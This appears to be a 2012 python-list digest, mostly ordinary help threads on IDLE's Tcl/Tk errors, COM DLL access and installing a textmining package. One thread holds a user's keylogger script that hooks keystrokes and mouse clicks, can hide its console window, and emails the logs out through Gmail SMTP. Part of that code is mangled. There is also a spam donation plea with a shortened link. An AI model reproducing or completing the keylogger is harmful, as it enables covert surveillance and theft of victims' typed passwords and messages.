Re: Tcl/tk version in Python installation

2012-12-01 Thread Baruch Lifshitz

Solved.

I had to remove environment variable TCL_LIBRARY, which pointed to some 
non-existent installation.
-- 
http://mail.python.org/mailman/listinfo/python-list


Tcl/tk version in Python installation

2012-12-01 Thread Baruch Lifshitz
I need help of those who familiar with Python-Tcl/tk bundle.

I cannot start IDLE IDE for Python 3.2.3 or 3.3.0 installation. Command

python -m idlelib.idle
gives next output:

   C:\Python33>python -m idlelib.idle
   Traceback (most recent call last):
   File "C:\Python33\lib\runpy.py", line 160, in _run_module_as_main
"__main__", fname, loader, pkg_name)
  File "C:\Python33\lib\runpy.py", line 73, in _run_code
exec(code, run_globals)
  File "C:\Python33\lib\idlelib\idle.py", line 11, in 
idlelib.PyShell.main()
  File "C:\Python33\lib\idlelib\PyShell.py", line 1421, in main
root = Tk(className="Idle")
  File "C:\Python33\lib\tkinter\__init__.py", line 1756, in __init__
self.tk = _tkinter.create(screenName, baseName, className, interactive, want
objects, useTk, sync, use)
_tkinter.TclError: Can't find a usable init.tcl in the following directories:
{C:\Program Files\CSR\BlueSuite 2.4} C:/Python33/lib/tcl8.5 C:/lib/tcl8.5 C:
/lib/tcl8.5 C:/library C:/library C:/tcl8.5.11/library C:/tcl8.5.11/library
Actually init.tcl is located both in C:\Python33\tcl\tcl8.5 and 
C:\Python33\tcl\tix8.4.3 but something preventing tkinter from starting.

During previous attempts to start idlelib.idle module form command line I got 
message

 "Tcl": have 8.5.11, need exactly 8.4 
So this is a stage I can't pass. What in the system may force me to use Tcl 8.4 
and prevent form using 8.5.11 installed with Python 3.3.0?

Thank you in advance.
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Help accessing COM .dll from Python

2012-12-01 Thread Paul Kölle

Hi,

Am 01.12.2012 10:51, schrieb Steve Simmons:

First time post - be gentle with me :-)

I am trying to write a Python script to access a scanning device. I have an SDK
for the scanner but the documentation is a bit limited and the supplier doesn't
support Python (but Python is the best option for me in the current 
circumstances).
From a quick view it seems the documentation is excellent. There are 
tons of examples (even Java so you could use jython), API documents and 
the SDK. The "VC SDK.pdf" from the API documents zip explains what 
functions are there and how to call them. I have no idea why you used 
PEExplorer, are you using a device not covered by Slib.dll?
Anyway, I suggest you forget about COM and try to load Slib.dll via 
ctypes http://docs.python.org/2/library/ctypes.html and call some 
functions documented in "VC SDK.pdf" and see what happens. The defines 
for return codes used in the documentation are here 
http://www.id-reader.com/Support/Sample_Codes/Visual_C_Plus_Plus/header_lib.rar 
in SlibErrDef.h and probably others...


cheers
 Paul



The SDK revolves around a .dll file that is described as a 'COM Object' but the
text also implies that it can be accessed directly - "If you don’t use the COM
interface in your application and use the SDK files directly like in VC++ then
you don’t need to install these files on the destination computer".  If I look
inside the .dll (thanks PEExplorer!), I see DllCanUnload, DllGetClassObject,
DllRegisterServer and DllUnregisterServer in the 'Export' view.  If I look at
the 'Import' view, I can see the names of a bunch of .dll files and the names of
the functions/methods I want to call.  So I concluded that DllGetClassObject
would be my friend.

However, I've read various tutorials on using .dll and COM (ctypes, comtypes,
and the Python documentation) and I've ended up more confused than when I
started. I expected to be using COM but all the examples seem to revolve around
automating excel or outlook.

I'd be really grateful for some hints on what direction Ishould be headed and a
pointer to a relevant tutorial.

Simmo






--
http://mail.python.org/mailman/listinfo/python-list


Re: ANN: eGenix mx Base Distribution 3.2.5 (mxDateTime, mxTextTools, etc.)

2012-12-01 Thread Piet van Oostrum
"M.-A. Lemburg"  writes:

> 
>
> ANNOUNCING
>
>eGenix.com mx Base Distribution
>
>   Version 3.2.5 for Python 2.4 - 2.7
>
>Open Source Python extensions providing
>  important and useful services
> for Python programmers.
>
> This announcement is also available on our web-site for online reading:
> http://www.egenix.com/company/news/eGenix-mx-Base-Distribution-3.2.5-GA.html

It says 3.2.4.
-- 
Piet van Oostrum 
WWW: http://pietvanoostrum.com/
PGP key: [8DAE142BE17999C4]
-- 
http://mail.python.org/mailman/listinfo/python-list


Any Python trainers/tutors in Toronto?

2012-12-01 Thread Steven D'Aprano
Are there any Python programmers in the Toronto area interested in some  
informal, very short-term, paid Python tutoring?

Please contact me off-list for details if you are interested.



-- 
Steven
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Textmining

2012-12-01 Thread Mark Lawrence

On 01/12/2012 09:27, subhabangal...@gmail.com wrote:

Dear Group,

Python has one textmining library.
[Sorry for the spelling mistake in earlier post].

As I see it can be downloaded from,

http://pypi.python.org/pypi/textmining/1.0

I am running Python 2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit 
(Intel)] on win32 with IDLE as GUI and Windows 7 as OS.



Thanks for the above.


I am not getting how to download and use it.


Use easy_install or pip from the command line.  Any search engine will 
find you the instructions on how to install them.  Here's a starting 
point http://packages.python.org/an_example_pypi_project/setuptools.html




If any one of the learned members in the room can kindly help it.


Learned members in this group? :)



Regards,
Subhabrata Banerjee.



--
Cheers.

Mark Lawrence.

--
http://mail.python.org/mailman/listinfo/python-list


Re: pyHook and time libraries

2012-12-01 Thread doronmmm
בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit:
> Doron wrote:
> 
> > 
> 
> > Hey, I'm tring to create a software that records the keyboard/mouse and 
> > sends email of the log every
> 
> > predetermined period.
> 
> > 
> 
> > I've manage to make the recorder and the auto-email sender, but I still 
> > can't make both of them work
> 
> > simultaneously.
> 
> > 
> 
> > Can someone help me with this please?
> 
> > I thought about threading but again... It just sends blank mails without 
> > the logs.
> 
> > 
> 
> > Thanks alot ahead!
> 
> 
> 
> I am not sure how to even begin helping you. I do not even know
> 
> what is wrong other than "can't make both of them work simultaneously".
> 
> What version of Python and OS? Are you using any 3rd party modules?
> 
> What is the code you use? What happens and what do you expect? How
> 
> are you getting the logs for email? Are they being passed in or are
> 
> you using a log file?
> 
> 
> 
> 
> 
> ~Ramit
> 
> 
> 
> 
> 
> 
> 
> This email is confidential and subject to important disclaimers and
> 
> conditions including on offers for the purchase or sale of
> 
> securities, accuracy and completeness of information, viruses,
> 
> confidentiality, legal privilege, and legal entity disclaimers,
> 
> available at http://www.jpmorgan.com/pages/disclosures/email.


This is the code:

===
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading

#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

#openfile = open(logpath,"r+")

l = threading.Lock()


def sendEmail():
print("ready to send email")
fromaddr = 'em...@gmail.com'
toaddrs  = 'em...@gmail.com'
msg = open('log.txt',"r").read()

username = 'something'
password = 'something' 
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")

def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt

while tt=nn-0.5:
#l.acquire()   <== I wasn't sure if I need to lock and release 
it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()

def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True


def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName == None :
log = "-\n"
openfile.write(log)
return True

thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()

pythoncom.PumpMessages()



i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Help accessing COM .dll from Python

2012-12-01 Thread Albert Dengg
On Sat, Dec 01, 2012 at 12:47:57PM +, Steve Simmons wrote:
> Gunther - Sorry about that, hoping this response comes through as
> plain text.
> 
> Chris - Thanks for the translation and the response.  Unfortunately,
> I don't speak 'C', and I think the learning curve for Python + COM
> should be slightly less steep.
i've had some some expirience using COM from python with pywin32, which
works reasonably well if your interfaces is documented.

as for examples beeing excel centric: it does not really matter, you
just have to look the real interface you want to use in the
documentation of your libary.

there are however some pitfalls, espesially with arguments passed by
reference: there not the parameter will be modified but you will have a
tuple as a return value.

albert


signature.asc
Description: Digital signature
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Help accessing COM .dll from Python

2012-12-01 Thread Steve Simmons
Gunther - Sorry about that, hoping this response comes through as plain 
text.


Chris - Thanks for the translation and the response.  Unfortunately, I 
don't speak 'C', and I think the learning curve for Python + COM should 
be slightly less steep.


The scanner is supplied by Card Scanning Solutions (CSSN in USA) and 
their docs are accessible from http://www.cardscanning.com/developers.php.

--
http://mail.python.org/mailman/listinfo/python-list


help .No money and alone

2012-12-01 Thread gechangb...@163.com
> I have come to the conclusion that there is no way i can pay for the
medical bills
>i have or the food i need. I broke my collar bone a few months ago and could 
>not work.
> My boss decided to fire me and i could not pay for my debt.
>The banks have taken a number of belongings from me that i cherished.

I am alone in a big city and need some help with getting some of this
fire i call debt extinguished.
I need about 500usd,please donate me about 5 or10 usd
 for more,please visite
> http://bitly.com/U7BaYd
Email:   aijfu1962@gmail.com
> God Bless.
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Help accessing COM .dll from Python

2012-12-01 Thread Chris Angelico
Quoting his entire text for the benefit of Mr Dietrich, who is
apparently having trouble reading it. (He's right though, plain text
is a lot easier to work with.)

On Sat, Dec 1, 2012 at 8:51 PM, Steve Simmons  wrote:
> First time post - be gentle with me :-)
>
> I am trying to write a Python script to access a scanning device.  I have an
> SDK for the scanner but the documentation is a bit limited and the supplier
> doesn't support Python (but Python is the best option for me in the current
> circumstances).
>
> The SDK revolves around a .dll file that is described as a 'COM Object' but
> the text also implies that it can be accessed directly - "If you don’t use
> the COM interface in your application and use the SDK files directly like in
> VC++ then you don’t need to install these files on the destination
> computer".  If I look inside the .dll (thanks PE Explorer!), I see
> DllCanUnload, DllGetClassObject, DllRegisterServer and DllUnregisterServer
> in the 'Export' view.  If I look at the 'Import' view, I can see the names
> of a bunch of .dll files and the names of the functions/methods I want to
> call.  So I concluded that  DllGetClassObject would be my friend.
>
> However, I've read various tutorials on using .dll and COM (ctypes,
> comtypes, and the Python documentation) and I've ended up more confused than
> when I started.  I expected to be using COM but all the examples seem to
> revolve around automating excel or outlook.
>
> I'd be really grateful for some hints on what direction I should be headed
> and a pointer to a relevant tutorial.
>
> Simmo

Yeah, ctypes isn't all that easy to work with I'm afraid. Ultimately,
your problem is with your scanner's SDK; if it's poorly documented,
it's not going to be any easier working from Python than it would be
from C. I would advise following their non-COM instructions as closely
as you can, and seeing where that leads you. If their docs are online,
post us a link; it's possible someone here may be familiar with it, or
at very least be able to help you with the translation to Python.

Good luck!

ChrisA
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Help accessing COM .dll from Python

2012-12-01 Thread Günther Dietrich
Steve Simmons  wrote:

>
>  
>
>
>  
>  
>First time post -
>be gentle with me :-)
>  
>I am trying to write a Python script to
>  access a scanning device.  I
>  have an SDK for the size="-1">scanner but the documentation is a   size="-1">bit limited and the supplier doesn't support
>  Python (but Python is
>  the best option for me in the
>current 
>circumstances). >
>  
>  
>  The SDK revolves around a .dll file that   size="-1">is described as a 'COM Object'
>but the text also implies that it can be ac  size="-1">cessed directly - "If you don’t use the COM
>  interface in your application and use the SDK files
>  directly like in VC++ then you don’t need to install
>  these files on the destination computer".  If I look
>  inside the .dll (thanks PE  size="-1"> Explorer!), I see DllCanUnload,
>  DllGetClassObject, DllRegisterServer and
>  DllUnregisterServer in the 'Export' view.  If I
>  look at the 'Import' view, I can
>see the names of a bunch of size="-1">.dll files and the
>names of the functions/methods
>I want to call.  So I concluded that  
>>  size="-1">size="-1">size="-1">  size="-1">  size="-1">size="-1">size="-1">size="-1">DllGetClassObject
>  would be my
>
>friend.t>
>
>  
>  However, I've read
>  various tutorials on using .dll and COM (ctypes,
>  comtypes, and the Python documentation) and I've
>  ended up more confused than when
>I started.  I expected to be
>  using COM but all the examples seem to revolve
>  around automating excel or out  size="-1">look.
>
>I'd be really grateful for
>  some hints on what direction Isize="-1"> should be headed
>  and a pointer to a relevant 
>tutorial.
>
>  
>  Simmo
>
>  
>

A newsreader is not an HTML reader (aka web browser). Please post your 
question in plain text.



Best regards,

Günther
-- 
http://mail.python.org/mailman/listinfo/python-list


Help accessing COM .dll from Python

2012-12-01 Thread Steve Simmons

  
  
First time post -
be gentle with me :-)
  
I am trying to write a Python script to
  access a scanning device.  I
  have an SDK for the scanner but the documentation is a bit limited and the supplier doesn't support
  Python (but Python is
  the best option for me in the
current circumstances). 
  
  
  The SDK revolves around a .dll file that is described as a 'COM Object'
but the text also implies that it can be accessed directly - "If you don’t use the COM
  interface in your application and use the SDK files
  directly like in VC++ then you don’t need to install
  these files on the destination computer".  If I look
  inside the .dll (thanks PE Explorer!), I see DllCanUnload,
  DllGetClassObject, DllRegisterServer and
  DllUnregisterServer in the 'Export' view.  If I
  look at the 'Import' view, I can
see the names of a bunch of .dll files and the
names of the functions/methods
I want to call.  So I concluded that  DllGetClassObject
  would be my
friend.

  
  However, I've read
  various tutorials on using .dll and COM (ctypes,
  comtypes, and the Python documentation) and I've
  ended up more confused than when
I started.  I expected to be
  using COM but all the examples seem to revolve
  around automating excel or outlook.

I'd be really grateful for
  some hints on what direction I should be headed
  and a pointer to a relevant tutorial.

  
  Simmo

  

-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Textmining

2012-12-01 Thread subhabangalore
On Saturday, December 1, 2012 5:13:17 AM UTC+5:30, Dave Angel wrote:
> On 11/30/2012 02:48 PM, subhabangal...@gmail.com wrote:
> 
> > Dear Group,
> 
> > Python has one textming library, but I am failing to install it in Windows.
> 
> > If any one can kindly help.
> 
> > Regards,
> 
> > Subhabrata.
> 
> 
> 
> Please think about what you're asking, if you want people to help you. 
> 
> You say Python has a testming library,  But CPython's standard library
> 
> version 3.3 does NOT have a library called testming.  Neither does 2.7
> 
> in case you're running that one.  Now, maybe some other version of
> 
> Python has other stuff in its standard library, or maybe it's only
> 
> available on the Amiga port of python.  But you give no clues to which
> 
> one it was.
> 
> 
> 
> I repeated the search with a keyword of testmining, in case that's the
> 
> actual name of the library.  Still in neither 2.7 nor 3.3.
> 
> 
> 
> So I'm forced to gaze even closer into my crystal ball.  How about
> 
> 
> 
> http://scripts.downloadroute.com/textmining-95300f9f.html
> 
> http://www.testmine.com/
> 
> http://webscripts.softpedia.com/script/E-Commerce/Catalogs/textmining-66084.html
> 
> http://www.christianpeccei.com/projects/textmining/
> 
> http://pybrary.net/pyPdf/
> 
> http://code.activestate.com/recipes/511465/
> 
> http://www.unixuser.org/~euske/python/pdfminer/index.html
> 
> 
> 
> http://orange.biolab.si/
> 
> http://www.amazon.com/Python-Text-Processing-NLTK-Cookbook/dp/1849513600?tag=duckduckgo-d-20
> 
> http://linux.softpedia.com/get/Utilities/textmining-61802.shtml
> 
> http://pypi.python.org/pypi/textmining
> 
> http://orange-text.readthedocs.org/en/latest/
> 
> 
> 
> 
> 
> I could call a mechanic, and tell him my car makes a funny nose, and no
> 
> matter how hard I kick the right front tire the noise doesn't go away,
> 
> and he's unlikely to be able to help.  He'd probably like some
> 
> fundamental facts about the problem.  So do we.
> 
> 
> 
> What version of Windows OS are you running?
> 
> What version of what implementation of Python are you running?
> 
> What library, located at what URL did you try to install?
> 
> How did you try the installation?  What happened?  How did you know you
> 
> failed?
> 
> 
> 
> In many of these answers, you should paste actual program output rather
> 
> than paraphrasing.  Certainly, if you got an exception, you should paste
> 
> the entire stack trace.  And if you got that far, a minimal code example
> 
> that shows the problem.
> 
> 
> 
> -- 
> 
> 
> 
> DaveA

Dear Group,

Python has one textmining library. 
[Sorry for the spelling mistake in earlier post].

As I see it can be downloaded from,

http://pypi.python.org/pypi/textmining/1.0

I am running Python 2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit 
(Intel)] on win32 with IDLE as GUI and Windows 7 as OS.

I am not getting how to download and use it.

If any one of the learned members in the room can kindly help it.

Regards,
Subhabrata Banerjee.
-- 
http://mail.python.org/mailman/listinfo/python-list